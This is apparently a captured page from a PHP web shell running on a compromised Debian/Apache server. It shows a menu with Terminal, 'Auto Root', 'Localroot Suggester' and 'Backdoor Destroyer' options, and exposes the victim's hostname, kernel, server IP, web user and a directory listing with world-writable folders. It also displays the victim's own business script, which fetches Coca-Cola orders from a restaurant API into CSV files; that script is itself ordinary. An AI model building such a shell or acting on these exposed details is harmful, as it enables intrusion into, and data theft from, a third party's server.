Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
coca_orders_api /
api-zelty /
Delete
Unzip
Name
Size
Permission
Date
Action
files
[ DIR ]
drwxrwxrwx
2025-12-03 13:17
logs
[ DIR ]
drwxrwxrwx
2025-12-15 17:33
config.php
7
KB
-rw-r--r--
2025-11-21 10:56
index.php.bak
6.92
KB
-rw-r--r--
2022-01-28 17:41
stats.php
7.96
KB
-rw-r--r--
2023-02-10 15:18
stats.php.1
68
B
-rw-r--r--
2025-09-20 01:47
stats.php.2
96
B
-rw-r--r--
2025-09-20 01:50
stats.php.3
40
B
-rw-r--r--
2025-09-20 02:07
Save
Rename
<?php require_once("./config.php"); //Log Start $logFile = fopen('logs/log_' . date('Ymd_His') . '.csv', 'w'); /* LOG ===> */ fputcsv($logFile, ['SUCCESS',date('Y-m-d H:i:s'),"Start"], ';'); //get data of the restaurants selected $restaurantSelected = array(); foreach ($restaurantsSelected as $res) { $ch = curl_init(); curl_setopt($ch, CURLOPT_GET, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_URL, API_URL . "restaurants/" . $res["id"]); $result = json_decode(curl_exec($ch),true); sleep(1); curl_close($ch); $restaurant = [ "id" => "", "adress" => "", "name" => "", "code" => "", ]; $restaurant["id"] = $result["restaurant"]["id"]; $restaurant["adress"] = str_replace("\r\n", ' ',$result["restaurant"]["address"]); $restaurant["name"] = $result["restaurant"]["name"]; $restaurant["code"] = $result["restaurant"]["country_code"]; array_push($restaurantSelected, $restaurant); /* LOG ===> */ fputcsv($logFile, ['SUCCESS',date('Y-m-d H:i:s'),"Get data of the restaurants selected"], ';'); } //Get data from Coca Cola product $option = "catalog/dishes"; $ch = curl_init(); curl_setopt($ch, CURLOPT_GET, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_URL, API_URL . $option); $result = json_decode(curl_exec($ch),true); /* LOG ===> */ fputcsv($logFile, ['SUCCESS',date('Y-m-d H:i:s'),"Get data from Coca Cola product"], ';'); curl_close($ch); foreach ($result["dishes"] as $dish) { $product = [ "id" => "", "name" => "", ]; if(in_array($dish["id"], $cocaProduct)){ $product["id"] = $dish["id"]; $product["name"] = $dish["name"]; array_push($cocaProductsData, $product); } } //Get all orders containing a Coca product for the month $fetchData = true; while ($fetchData === true) { $option = "orders?from=". $firstDay ."&to=" . $lastDay . "&offset=" . $offset . "&limit=200"; $ch = curl_init(); curl_setopt($ch, CURLOPT_GET, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_URL, API_URL . $option); $result = json_decode(curl_exec($ch),true); curl_close($ch); sleep(1); if($result["errno"] === 429){ echo $result["errmsg"] . "<br>"; break; } elseif(empty($result["orders"]) && !empty($order)) { echo "break: no more orders :/" . "<br>"; $stillOrder = false; $fetchData = false; break; } elseif(empty($result["orders"])){ $fetchData = true; echo "relaunch fetch"; }else{ foreach ($result["orders"] as $order) { $orderData = array( "idOrder" => "", "idRestaurant" => "", "dateOrder" => "", "content" => array() ); foreach ($order["contents"] as $product) { //check if product is menu to fetch data inside if($product["type"] === "menu"){ foreach ($product["contents"] as $productMenu) { if(in_array($productMenu["id"], $cocaProduct)){ array_push($orderData["content"], $productMenu["id"]); $orderData["idOrder"] = $order["id"]; $orderData["idRestaurant"] = $order["id_restaurant"]; $orderData["dateOrder"] = date('Y-m-d H:i:s', strtotime($order["created_at"])); } } //get data from product }else{ if(in_array($product["item_id"], $cocaProduct)){ array_push($orderData["content"], $product["item_id"]); $orderData["idOrder"] = $order["id"]; $orderData["idRestaurant"] = $order["id_restaurant"]; $orderData["dateOrder"] = date('Y-m-d H:i:s', strtotime($order["created_at"])); } } } if($orderData["idRestaurant"] !== ""){ array_push($orders, $orderData); } } $offset = $offset + 200; } } $sortedData = []; foreach ($orders as $order) { $data = array( "Distrib_id" => "", "Distrib_n_TVA" => "", "CodePDV" => "", "RaisonSociale" => "", "Adresse1" => "", "Adresse2" => "", "Adresse3" => "", "CP" => "", "Ville" => "", "Tel" => "", "N_Siret" => "", "N_Siren" => "", "Segement_Activite" => "fast-food", "Code_article" => "", "Description_article" => "", "Code_EAN" => "", "Qty_log" => "", "Qty" => "", "DateLivraison" => "", "Ref_PreCommande" => "", ); $restaurantName = ""; $restaurantCode = ""; $restaurantCP = ""; $restaurantVille = ""; $restaurantTel = ""; foreach ($restaurantSelected as $res) { if($order["idRestaurant"] == $res["id"]){ $restaurantName = $res["name"]; $restaurantAddress = $res["adress"]; // $restaurantCode = $res["code"]; } } foreach ($restaurantsAdresses as $resAdrr) { if($order["idRestaurant"] == $resAdrr["id"]){ $data["CP"] = $resAdrr["cp"]; $data["Ville"] = $resAdrr["ville"]; $data["Tel"] = $resAdrr["tel"]; $data["Adresse1"] = $resAdrr["adress"]; } } $qtyCount = array_count_values($order["content"]); $idsProduct = array_keys($qtyCount); $j = count($qtyCount); for ($i=0; $i < $j ; $i++) { $productName = ""; $productId = $idsProduct[$i]; $productQty = $qtyCount[$productId]; foreach ($cocaProductsData as $product) { if($product["id"] == $productId){ $productName = $product["name"]; } } /* LOG ===> */ fputcsv($logFile, ['SUCCESS',date('Y-m-d H:i:s'),"Get data Ref_PreCommande : ".$order["idOrder"]], ';'); $data["Ref_PreCommande"] = $order["idOrder"]; $data["DateLivraison"] = $order["dateOrder"]; $data["CodePDV"] = $order["idRestaurant"]; $data["RaisonSociale"] = $restaurantName; $data["countryCode"] = $restaurantCode; $data["Code_article"] = $productId; $data["Description_article"] = $productName; $data["Qty"] = $productQty; if($restaurantName != ""){ array_push($sortedData, $data); } } } //create CSV file $fp = fopen('files/file-' . $month . "-" . $year . '.csv', 'w'); if ($fp === false) { /* LOG ===> */ fputcsv($logFile, ['ERROR',date('Y-m-d H:i:s'),'Cannot create and open stats file on : files/file-' . $month . "-" . $year . '.csv'], ';'); die('Error opening the file ' . $fp); } fputs($fp, (chr(0xEF) . chr(0xBB) . chr(0xBF))); $headerCSV = ["Distrib ID", "Distrib n°TVA", "Code PDV", "Raison sociale", "Adresse 1", "Adresse 2", "Adresse 3", "CP", "Ville","Téléphone", "N°SIRET", "N°SIREN", "Segment d'activité", "Code article", "Description Article", "Code EAN", "Qté en unité logistique", "Qté en Unité Consommateur", "Date de livraison", "Ref PreCommande"]; /* LOG ===> */ fputcsv($logFile, ['SUCCESS',date('Y-m-d H:i:s'),"File header created"], ';'); /* LOG ===> */ fputcsv($fp, $headerCSV, ';'); foreach ($sortedData as $line) { fputcsv($fp, $line, ';'); } fclose($fp); //Log End /* LOG ===> */ /* LOG ===> */ fputcsv($logFile, ['SUCCESS',date('Y-m-d H:i:s'),"End file"], ';'); fclose($logFile); echo "File created";